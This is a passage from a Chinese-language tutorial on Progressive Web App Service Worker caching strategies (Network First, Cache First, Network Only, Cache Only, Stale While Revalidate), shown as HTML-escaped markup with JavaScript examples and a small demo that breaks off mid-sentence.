aria-hidden=\"true\"></i></a>Network First</h2>\n<p>Network First&#xFF0C;&#x7F51;&#x7EDC;&#x4F18;&#x5148;&#x7B56;&#x7565;&#x3002;&#x8BE5;&#x7B56;&#x7565;&#x4F1A;&#x4F18;&#x5148;&#x5C1D;&#x8BD5;&#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#xFF0C;&#x5728;&#x8D44;&#x6E90;&#x83B7;&#x53D6;&#x6210;&#x529F;&#x7684;&#x540C;&#x65F6;&#x4F1A;&#x590D;&#x5236;&#x4E00;&#x4EFD;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x5F53;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x65F6;&#x518D;&#x5C1D;&#x8BD5;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x3002;Network First &#x7B56;&#x7565;&#x4E00;&#x822C;&#x9002;&#x7528;&#x4E8E;&#x5BF9;&#x8BF7;&#x6C42;&#x7684;&#x5B9E;&#x65F6;&#x6027;&#x548C;&#x7A33;&#x5B9A;&#x6027;&#x6709;&#x8981;&#x6C42;&#x7684;&#x60C5;&#x51B5;&#x3002;&#x5176;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">networkFirst</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  fetchOptions<span class=\"token punctuation\">,</span>\n  cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;runtime-cache&apos;</span><span class=\"token punctuation\">,</span>\n  matchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...&#xFF08;&#x5B9A;&#x4E49;getCachedResponse&#x3001;fetchAndCatch&#xFF09;</span>\n\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> response\n\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x4F18;&#x5148;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x5E76;&#x5C06;&#x8BF7;&#x6C42;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">fetchAndCatch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response <span class=\"token operator\">==</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x7F51;&#x7EDC;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x65F6;&#xFF0C;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x7F13;&#x5B58;</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">getCachedResponse</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5047;&#x8BBE;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5BF9; <code>/api</code> &#x7C7B;&#x578B;&#x7684;&#x63A5;&#x53E3;&#x8BF7;&#x6C42;&#x4F7F;&#x7528; Network First &#x7684;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#xFF0C;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">router<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/api/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">networkFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"cache-first\"><a name=\"cache-first\" class=\"anchor-navigation-ex-anchor\" href=\"#cache-first\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cache-first\" class=\"plugin-anchor\" href=\"#cache-first\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache First</h2>\n<p>Cache First&#xFF0C;&#x7F13;&#x5B58;&#x4F18;&#x5148;&#x7B56;&#x7565;&#x3002;&#x8BE5;&#x7B56;&#x7565;&#x4F1A;&#x4F18;&#x5148;&#x4ECE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#xFF0C;&#x8BFB;&#x53D6;&#x5931;&#x8D25;&#x540E;&#x518D;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x6210;&#x529F;&#x83B7;&#x5F97;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x65F6;&#x4F1A;&#x5C06;&#x8BE5;&#x7ED3;&#x679C;&#x7F13;&#x5B58;&#x5230;&#x672C;&#x5730;&#x3002;&#x5BF9;&#x4E8E;&#x5B9E;&#x65F6;&#x6027;&#x8981;&#x6C42;&#x4E0D;&#x592A;&#x9AD8;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x8BE5;&#x7B56;&#x7565;&#x63D0;&#x9AD8;&#x52A0;&#x8F7D;&#x901F;&#x5EA6;&#x3002;&#x7F13;&#x5B58;&#x4F18;&#x5148;&#x7B56;&#x7565;&#x7684;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">cacheFirst</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  fetchOptions<span class=\"token punctuation\">,</span>\n  cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;runtime-cache&apos;</span><span class=\"token punctuation\">,</span>\n  matchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...&#xFF08;&#x5B9A;&#x4E49; getCachedResponse&#x3001;fetchAndCatch&#xFF09;</span>\n\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> response\n\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x4F18;&#x5148;&#x5339;&#x914D;&#x672C;&#x5730;&#x7F13;&#x5B58;</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">getCachedResponse</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x5339;&#x914D;&#x4E0D;&#x5230;&#x7F13;&#x5B58;&#x6216;&#x8005;&#x7F13;&#x5B58;&#x8BFB;&#x53D6;&#x51FA;&#x73B0;&#x5F02;&#x5E38;&#x65F6;&#xFF0C;&#x518D;&#x53BB;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;</span>\n    <span class=\"token comment\">// &#x5E76;&#x4E14;&#x5C06;&#x8BF7;&#x6C42;&#x6210;&#x529F;&#x7684;&#x8D44;&#x6E90;&#x5199;&#x5165;&#x7F13;&#x5B58;&#x4E2D;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response <span class=\"token operator\">==</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">fetchAndCatch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0B;&#x9762;&#x6F14;&#x793A; Cache First &#x7B56;&#x7565;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x3002;&#x5BF9;&#x4E8E; jQuery &#x8FD9;&#x6837;&#x516C;&#x5171; JS &#x5E93;&#x5C31;&#x975E;&#x5E38;&#x9002;&#x5408;&#x4F7F;&#x7528; Cache First &#x7B56;&#x7565;&#xFF0C;&#x4F8B;&#x5B50;&#x4E2D;&#x7684; jQuery &#x7684;&#x4EE3;&#x7801;&#x6258;&#x7BA1;&#x5728;&#x975E;&#x540C;&#x6E90;&#x7684; CDN &#x4E0A;&#x9762;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x4F20;&#x5165; fetchOptions &#x53C2;&#x6570;&#x53BB;&#x6307;&#x5B9A;&#x8BE5;&#x7B56;&#x7565;&#x4E2D;&#x7684; fetch &#x65B9;&#x6CD5;&#x8BF7;&#x6C42;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x65F6;&#x7684;&#x8BF7;&#x6C42;&#x6A21;&#x5F0F;&#x4E3A; <code>cors</code>&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">router<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token string\">&apos;https://code.jquery.com/jquery-3.3.1.min.js&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token function\">cacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    fetchOptions<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>\n      mode<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;cors&apos;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"network-only\"><a name=\"network-only\" class=\"anchor-navigation-ex-anchor\" href=\"#network-only\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"network-only\" class=\"plugin-anchor\" href=\"#network-only\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Network Only</h2>\n<p>Network Only&#xFF0C;&#x4EC5;&#x901A;&#x8FC7;&#x53D1;&#x9001;&#x6B63;&#x5E38;&#x7684;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x83B7;&#x53D6;&#x8D44;&#x6E90;&#xFF0C;&#x5E76;&#x5C06;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#x3002;&#x8BE5;&#x7B56;&#x7565;&#x9002;&#x7528;&#x4E8E;&#x5BF9;&#x5B9E;&#x65F6;&#x6027;&#x8981;&#x6C42;&#x975E;&#x5E38;&#x9AD8;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x6216;&#x8005;&#x662F;&#x65E0;&#x9700;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x3002;&#x6BD4;&#x5982;&#x9A8C;&#x8BC1;&#x7801;&#x56FE;&#x7247;&#x3001;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#x8BF7;&#x6C42;&#x7B49;&#x7B49;&#x3002;&#x7B56;&#x7565;&#x7684;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">networkOnly</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span>\n  fetchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">,</span> fetchOptions<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"cache-only\"><a name=\"cache-only\" class=\"anchor-navigation-ex-anchor\" href=\"#cache-only\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cache-only\" class=\"plugin-anchor\" href=\"#cache-only\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache Only</h2>\n<p>Cache Only&#xFF0C;&#x4EC5;&#x4ECE;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x8D44;&#x6E90;&#x3002;&#x8FD9;&#x4E2A;&#x7B56;&#x7565;&#x4E00;&#x822C;&#x9700;&#x8981;&#x914D;&#x5408;&#x9884;&#x7F13;&#x5B58;&#x65B9;&#x6848;&#x4F7F;&#x7528;&#x3002;&#x7B56;&#x7565;&#x7684;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">cacheOnly</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">{</span>\n  cacheName<span class=\"token punctuation\">,</span>\n  matchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...&#xFF08;&#x5B9A;&#x4E49; getCachedResponse&#xFF09;</span>\n\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">getCachedResponse</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"stale-while-revalidate\"><a name=\"stale-while-revalidate\" class=\"anchor-navigation-ex-anchor\" href=\"#stale-while-revalidate\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"stale-while-revalidate\" class=\"plugin-anchor\" href=\"#stale-while-revalidate\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Stale While Revalidate</h2>\n<p>Stale While Revalidate&#xFF0C;&#x8BE5;&#x7B56;&#x7565;&#x8DDF; Cache First &#x7B56;&#x7565;&#x6BD4;&#x8F83;&#x7C7B;&#x4F3C;&#xFF0C;&#x90FD;&#x662F;&#x4F18;&#x5148;&#x8FD4;&#x56DE;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x7684;&#x8D44;&#x6E90;&#x3002;&#x4E0D;&#x540C;&#x7684;&#x5730;&#x65B9;&#x5728;&#x4E8E;&#xFF0C;Stale While Revalidate &#x7B56;&#x7565;&#x65E0;&#x8BBA;&#x5728;&#x7F13;&#x5B58;&#x8BFB;&#x53D6;&#x662F;&#x5426;&#x6210;&#x529F;&#x7684;&#x65F6;&#x5019;&#x90FD;&#x4F1A;&#x53D1;&#x9001;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x66F4;&#x65B0;&#x672C;&#x5730;&#x7F13;&#x5B58;&#x3002;&#x8FD9;&#x6837;&#x7684;&#x597D;&#x5904;&#x662F;&#xFF0C;&#x5728;&#x4FDD;&#x8BC1;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x901F;&#x5EA6;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x8FD8;&#x80FD;&#x591F;&#x4FDD;&#x8BC1;&#x7F13;&#x5B58;&#x4E2D;&#x7684;&#x8D44;&#x6E90;&#x4E00;&#x76F4;&#x4FDD;&#x6301;&#x4E00;&#x4E2A;&#x6BD4;&#x8F83;&#x65B0;&#x7684;&#x72B6;&#x6001;&#xFF1B;&#x5B83;&#x7684;&#x7F3A;&#x70B9;&#x4E5F;&#x6BD4;&#x8F83;&#x660E;&#x663E;&#xFF0C;&#x5C31;&#x662F;&#x6BCF;&#x6B21;&#x8BF7;&#x6C42;&#x8D44;&#x6E90;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x90FD;&#x4F1A;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5360;&#x7528;&#x7528;&#x6237;&#x7684;&#x7F51;&#x7EDC;&#x5E26;&#x5BBD;&#x3002;&#x5176;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">staleWhileRevalidate</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  fetchOptions<span class=\"token punctuation\">,</span>\n  cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;runtime-cache&apos;</span><span class=\"token punctuation\">,</span>\n  matchOptions\n<span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...&#xFF08;&#x5B9A;&#x4E49; getCachedResponse&#x3001;fetchAndCatch&#xFF09;</span>\n\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">async</span> <span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> response\n    <span class=\"token comment\">// &#x9996;&#x5148;&#x8BFB;&#x53D6;&#x672C;&#x5730;&#x7F13;&#x5B58;</span>\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token function\">getCachedResponse</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n    <span class=\"token comment\">// &#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5E76;&#x66F4;&#x65B0;&#x7F13;&#x5B58;</span>\n    <span class=\"token keyword\">let</span> fetchPromise <span class=\"token operator\">=</span> <span class=\"token function\">fetchAndCatch</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5982;&#x679C;&#x5B58;&#x5728;&#x672C;&#x5730;&#x7F13;&#x5B58;&#xFF0C;&#x5219;&#x9759;&#x9ED8;&#x66F4;&#x65B0;&#x7F13;&#x5B58;&#x5373;&#x53EF;&#xFF0C;&#x65E0;&#x9700;&#x963B;&#x585E;&#x51FD;&#x6570;&#x6267;&#x884C;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x9759;&#x9ED8;&#x66F4;&#x65B0;&#xFF0C;&#x65E0;&#x9700;&#x62A5;&#x9519;</span>\n      fetchPromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x53CD;&#x4E4B;&#x5219;&#x5C06;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5230;&#x7684;&#x8D44;&#x6E90;&#x8FD4;&#x56DE;</span>\n      response <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> fetchPromise\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token keyword\">return</span> response\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"&#x793A;&#x4F8B;\"><a name=\"&#x793A;&#x4F8B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x793A;&#x4F8B;\" class=\"plugin-anchor\" href=\"#&#x793A;&#x4F8B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x793A;&#x4F8B;</h2>\n<p>&#x672C;&#x8282;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x6258;&#x7BA1;&#x5728; <a href=\"https://github.com/lavas-project/pwa-book-demo/chapter05/respond-strategy\" target=\"_blank\">GitHub</a> &#x4E0A;&#x9762;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x81EA;&#x884C;&#x5C06;&#x4EE3;&#x7801;&#x4E0B;&#x8F7D;&#x5230;&#x672C;&#x5730;&#x8FD0;&#x884C;&#x548C;&#x4FEE;&#x6539;&#x3002;&#x672C;&#x793A;&#x4F8B;&#x9875;&#x9762;&#x5B9E;&#x73B0;&#x4E86;&#x6587;&#x7AE0;&#x9605;&#x8BFB;&#x529F;&#x80FD;&#xFF0C;&#x9875;&#x9762;&#x6B63;&#x6587;&#x5C55;&#x793A;&#x6587;&#x7AE0;&#x4E3B;&#x4F53;&#xFF0C;&#x9875;&#x811A;&#x663E;&#x793A;&#x6587;&#x7AE0;&#x9605;&#x8BFB;&#x91CF;&#x3002;&#x8FD9;&#x662F;&#x4E2A;&#x7B80;&#x5355;&#x7684; SPA &#x9875;&#x9762;&#xFF0C;&#x91C7;&#x7528;&#x4E86; App Shell &#x7684;&#x8BBE;&#x8BA1;&#x6A21;&#x5F0F;&#xFF0C;&#x6846;&#x67B6;&#x4E0E;&#x5185;&#x5BB9;&#x5206;&#x79BB;&#xFF0C;&#x5185;&#x5BB9;&#x901A;&#x8FC7;&#x5F02;&#x6B65;&#x6570;&#x636E;&#x8BF7;&#x6C42;&#x5230;&#x524D;&#x7AEF;&#x4E4B;&#x540E;&#x518D;&#x8FDB;&#x884C;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x3002;</p>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5BF9;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x7684;&#x8D44;&#x6E90;&#x8FDB;&#x884C;&#x5206;&#x6790;&#xFF0C;&#x5E76;&#x9009;&#x62E9;&#x76F8;&#x5E94;&#x7684;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7B56;&#x7565;&#xFF1A;</p>\n<ul>\n<li>index.html&#x3001;index.css&#x3001;index.js&#xFF1A;&#x7F51;&#x9875;&#x7684; App Shell&#xFF0C;&#x7531;&#x4E8E;&#x6846;&#x67B6;&#x4E0E;&#x5185;&#x5BB9;&#x5206;&#x79BB;&#xFF0C;&#x53EF;&#x4EE5;&#x8BA4;&#x4E3A; App Shell &#x662F;&#x4E0D;&#x5E38;&#x53D8;&#x52A8;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x9009;&#x62E9; Cache First&#xFF1B;</li>\n<li>article.json&#xFF1A;&#x6587;&#x7AE0;&#x6570;&#x636E;&#xFF0C;&#x6587;&#x7AE0;&#x5185;&#x5BB9;&#x53EF;&#x80FD;&#x4F1A;&#x88AB;&#x4F5C;&#x8005;&#x7F16;&#x8F91;&#x4EA7;&#x751F;&#x4E00;&#x5B9A;&#x53D8;&#x5316;&#xFF0C;&#x4F46;&#x5B9E;&#x65F6;&#x6027;&#x8981;&#x6C42;&#x4E0D;&#x662F;&#x5F88;&#x9AD8;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x4F7F;&#x7528; Stale While Revalidate&#xFF1B;</li>\n<li>statistics.json&#xFF1A;&#x7EDF;&#x8BA1;&#x6570;&#x636E;&#xFF0C;&#x8FD4;&#x56DE;&#x6587;&#x7AE0;&#x7684;&#x9605;&#x8BFB;&#x91CF;&#x6570;&#x636E;&#xFF0C;&#x8FD9;&#x7C7B;&#x6570;&#x636E;&#x5E76;&#x4E0D;&#x5F71;&#x54CD;&#x6587;&#x7AE0;&#x7684;&#x5C55;&#x793A;&#xFF0C;&#x56E0;&#x6B64;&#x53EF;&#x4EE5;&#x9009;&#x62E9; Network Only &#x6216;&#x8005;&#x662F; Network First&#x3002;</li>\n</ul>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x5C06;&#x4E0A;&#x8FF0;&#x5206;&#x6790;&#x7684;&#x7ED3;&#x8BBA;&#x8F6C;&#x5316;&#x4E3A;&#x5982;&#x4E0B; Service Worker &#x4EE3;&#x7801;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">var</span> router <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Router</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/index\\.(html|css|js)$/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">cacheFirst</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/article\\.json$/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">staleWhileRevalidate</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/statistics\\.json$/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">networkOnly</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x793A;&#x4F8B;&#x7684; Service Worker &#x6587;&#x4EF6;&#x5C31;&#x51C6;&#x5907;&#x5B8C;&#x6BD5;&#x4E86;&#xFF0C;&#x7136;&#x540E;&#x53EA;&#x9700;&#x8981;&#x5728; index.html &#x589E;&#x52A0; Service Worker &#x7684;&#x6CE8;&#x518C;&#x811A;&#x672C;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x5F00;&#x53D1;&#x5B8C;&#x6210;&#x4E86;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  if (&apos;serviceWorker&apos; in navigator) {\n    navigator.serviceWorker.register(&apos;/service-worker.js&apos;)\n  }\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x901A;&#x8FC7; <code>node server.js</code> &#x547D;&#x4EE4;&#x542F;&#x52A8;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x7136;&#x540E;&#x6253;&#x5F00; Chrome &#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8080/index.html</code>&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x663E;&#x793A;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/respond-demo.png\" alt=\"&#x9875;&#x9762;&#x6837;&#x5F0F;\"></p>\n<p>&#x8FD9;&#x65F6;&#x6253;&#x5F00; Chrome 